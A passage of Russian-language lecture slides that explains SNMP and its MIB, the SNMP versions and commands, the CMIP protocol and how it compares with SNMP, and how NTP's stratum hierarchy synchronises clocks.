определяет те элементы данных, которые управляемое устройство
должно сохранять, и допустимые операции над ними.
85. MIB
• База управляющей информацииMIB — это иерархическая база
данных
со
сведениями
об
устройстве.
У
каждого
типа
устройства своя MIB-таблица: у
принтера
в
ней
содержится
информация
о
состоянии
картриджей, а у коммутатора —
данные о трафике. Благодаря MIB
менеджер знает, какую информацию
он может запросить у агента
устройства.
86. SNMPv1
Особенностью протокола является его чрезвычайная простота - он включает в себя всегонесколько команд:
• Команда Get-request используется менеджером для получения от агента значения
какого-либо объекта по его имени.
• Команда GetNext-request используется менеджером для извлечения значения
следующего объекта.
• С помощью команды Get-response агент SNMP передает менеджеру ответ на команды
Get-request или GetNext-request.
• Команда Set используется менеджером для изменения значения какого-либо объекта.
• Команда Trap используется агентом для сообщения менеджеру о возникновении
особой ситуации.
87. SNMPv2c, SNMPv3
Вторая версия протокола SNMP появилась в 1993 году. Разработчики добавили в нее новыйзапрос GetBulk и ловушку Inform, а также усовершенствовали безопасность.
Третья версия вышла в 1998 году. Разработчики добавили в SNMP криптографическую
защиту, облегчили удаленную настройку и администрирование объектов.
88. CMIP (Common Management Information Protocol — Протокол общей управляющей информации) — является протоколом взаимодействия
между агентами и менеджерами системыуправления OSI, позволяет с помощью одной команды
воздействовать сразу на группу агентов, применив такие
опции,
как
обзор
и
фильтрация.
Он определяет некоторые функции, отсутствующие в SNMP. В
силу своей сложности CMIP имеет гораздо меньшее
распространение и привлекает гораздо меньший интерес,
нежели SNMP, но иногда его использование необходимо.
89. Сравнение протоколов SNMP и CMIP
Применение протокола SNMP позволяет строить как простые, так и сложные системы
управления, а применение протокола CMIP определяет некоторый, достаточно высокий
начальный уровень сложности системы управления, так как для его работы необходимо
реализовать ряд вспомогательных служб, объектов и баз данных объектов.
Агенты CMIP выполняют, как правило, более сложные функции, чем агенты SNMP. Из-за
этого операции, которые менеджеру можно выполнить над агентом SNMP, носят
атомарный характер, что приводит к многочисленным обменам между менеджером и
агентом.
Уведомления агента SNMP посылаются менеджеру без ожидания подтверждения, что
может привести к тому, что важные сетевые проблемы останутся незамеченными, так
как соответствующее уведомление окажется потерянным, в то время как уведомления
агента CMIP всегда передаются с помощью надежного транспортного протокола и в
случае потери будут переданы повторно.
Решение части проблем SNMP может быть достигнуто за счет применения более
интеллектуальных MIB, но для многих устройств и ситуаций таких MIB нет.
Протокол CMIP рассчитан на интеллектуальных агентов, которые могут по одной
простой команде от менеджера выполнить сложную последовательность действий.
Протокол CMIP существенно лучше масштабируется, так как может воздействовать
сразу на несколько объектов, а ответы от агентов проходят через фильтры, которые
ограничивают передачу управляющей информации только определенным агентам и
менеджерам.
90. NTP (Network Time Protocol)
• NTP – сетевой протокол, используемый для синхронизациивнутренних системных часов компьютера с помощью сетей с
переменной латентностью.
• NTP использует для своей работы протокол UDP и учитывает
время передачи. Система NTP чрезвычайно устойчива к
изменениям латентности среды передачи. В версии 4
способен достигать точности 10 мс (1/100 с) при работе через
Интернет, и до 0,2 мс (1/5000 с) и лучше внутри локальных
сетей.
91. Принцип работы NTP
NTP-серверы работают в иерархической сети,
каждый уровень иерархии называется ярусом
(стратум).
Ярус 0 представлен эталонными часами. За
эталон берется сигнал GPS (Global Positioning
System) или службы ACTS (Automated
Computer Time Service).
NTP-серверы яруса 1 получают данные о
времени от эталонных часов. NTP-серверы
яруса 2 синхронизируются с серверами ярусов
2.
Аналогично узлы и устройства яруса 3 могут
использовать любой из серверов яруса 2.
Всего может быть до 15 ярусов.
Избыточность
сети
NTP
гарантирует
постоянную доступность серверов времени.
NTP не устанавливает время, а корректирует
часы
с
использованием
временного
смещения, разницы между временем NTPсервере и локальных часах.
Интернет